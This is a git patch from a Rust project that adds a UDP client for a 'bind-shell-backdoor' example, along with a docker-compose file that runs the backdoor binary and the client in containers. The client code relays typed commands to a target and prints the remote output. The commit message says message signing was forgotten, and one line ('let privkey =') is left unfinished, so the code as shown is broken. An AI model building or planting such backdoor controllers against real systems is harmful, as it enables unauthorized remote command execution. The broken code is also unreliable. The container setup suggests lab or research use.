From 50bca921942f22eacd4f1e10ea3d29bac67b88ab Mon Sep 17 00:00:00 2001
From: Andrew Rioux <rioux.d.andrew@gmail.com>
Date: Fri, 28 Apr 2023 18:05:08 -0400
Subject: [PATCH] feat: added a client, but forgot to add signing

---
 .devcontainer/Dockerfile               |  2 +-
 .gitignore                             |  4 +-
 Cargo.lock                             |  4 ++
 docker-compose.yml                     | 13 ++++++
 examples/bind-shell/client/Cargo.toml  |  2 +
 examples/bind-shell/client/src/main.rs | 59 +++++++++++++++++++++++++-
 6 files changed, 79 insertions(+), 5 deletions(-)

diff --git a/.devcontainer/Dockerfile b/.devcontainer/Dockerfile
index daa8118..aff461e 100644
--- a/.devcontainer/Dockerfile
+++ b/.devcontainer/Dockerfile
@@ -16,4 +16,4 @@
 FROM rust:1-alpine
 
 RUN apk add bash docker git cmake make automake musl-dev \
-        flex bison linux-headers openssl-dev apache2-utils
\ No newline at end of file
+        flex bison linux-headers openssl-dev apache2-utils docker-compose
\ No newline at end of file
diff --git a/.gitignore b/.gitignore
index 0cb0db1..2f4d92b 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,3 +1,3 @@
 target
-examples/bind-shell-backdoor/pubkey
-examples/bind-shell-backdoor/privkey
\ No newline at end of file
+examples/bind-shell/key-generator/pubkey
+examples/bind-shell/key-generator/privkey
\ No newline at end of file
diff --git a/Cargo.lock b/Cargo.lock
index 0d9ca42..6681ff8 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -74,6 +74,10 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
 [[package]]
 name = "client"
 version = "0.1.0"
+dependencies = [
+ "anyhow",
+ "ed25519-dalek",
+]
 
 [[package]]
 name = "cmake"
diff --git a/docker-compose.yml b/docker-compose.yml
index e69de29..b66bcbd 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -0,0 +1,13 @@
+version: '3.8'
+services:
+  examples_bindshell_target:
+    image: ubuntu:20.04
+    volumes:
+      - ./target:/backdoor
+    command: /backdoor/release/bind-shell-backdoor
+    
+  examples_bindshell_client:
+    image: alpine
+    volumes:
+      - ./target:/backdoor
+    command: /backdoor/release/client examples_bindshell_target:54248
\ No newline at end of file
diff --git a/examples/bind-shell/client/Cargo.toml b/examples/bind-shell/client/Cargo.toml
index 729587b..34c92ee 100644
--- a/examples/bind-shell/client/Cargo.toml
+++ b/examples/bind-shell/client/Cargo.toml
@@ -6,3 +6,5 @@ edition = "2021"
 # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
 
 [dependencies]
+anyhow = "1.0.70"
+ed25519-dalek = "1.0.1"
\ No newline at end of file
diff --git a/examples/bind-shell/client/src/main.rs b/examples/bind-shell/client/src/main.rs
index e7a11a9..225b4fa 100644
--- a/examples/bind-shell/client/src/main.rs
+++ b/examples/bind-shell/client/src/main.rs
@@ -1,3 +1,58 @@
-fn main() {
-    println!("Hello, world!");
+use std::{io::prelude::*, net::UdpSocket, thread};
+
+use anyhow::anyhow;
+
+const PRIVKEY: &[u8] = include_bytes!("../../key-generator/privkey");
+
+fn main() -> anyhow::Result<()> {
+    let privkey = 
+
+    let mut stdout = std::io::stdout();
+    let mut stderr = std::io::stderr();
+    let stdin = std::io::stdin();
+
+    let mut args = std::env::args();
+    args.next();
+    let target = args.next().ok_or(anyhow!("Please specify a target IP"))?;
+
+    let remote_stdin = UdpSocket::bind("0.0.0.0:0")?;
+    let remote_stdout = UdpSocket::bind("0.0.0.0:54248")?;
+    let remote_stderr = UdpSocket::bind("0.0.0.0:54249")?;
+
+    let out_thread = thread::spawn(move || {
+        let mut buffer = [0u8; 1024];
+
+        loop {
+            let Ok(amount) = remote_stdout.recv(&mut buffer[..]) else { continue; };
+            let Ok(_) = stdout.write(&mut buffer[..amount]) else { continue; };
+        }
+    });
+
+    let err_thread = thread::spawn(move || {
+        let mut buffer = [0u8; 1024];
+
+        loop {
+            let Ok(amount) = remote_stderr.recv(&mut buffer[..]) else { continue; };
+            let Ok(_) = stderr.write(&mut buffer[..amount]) else { continue; };
+        }
+    });
+
+    loop {
+        let mut cmd = String::new();
+        let Ok(_) = stdin.read_line(&mut cmd) else { continue; };
+        let cmd = cmd.trim();
+
+        if cmd == "exit" {
+            break;
+        }
+
+        let Ok(_) = remote_stdin.send_to(cmd.as_bytes(), &target) else {
+            continue;
+        };
+    }
+
+    drop(out_thread);
+    drop(err_thread);
+
+    Ok(())
 }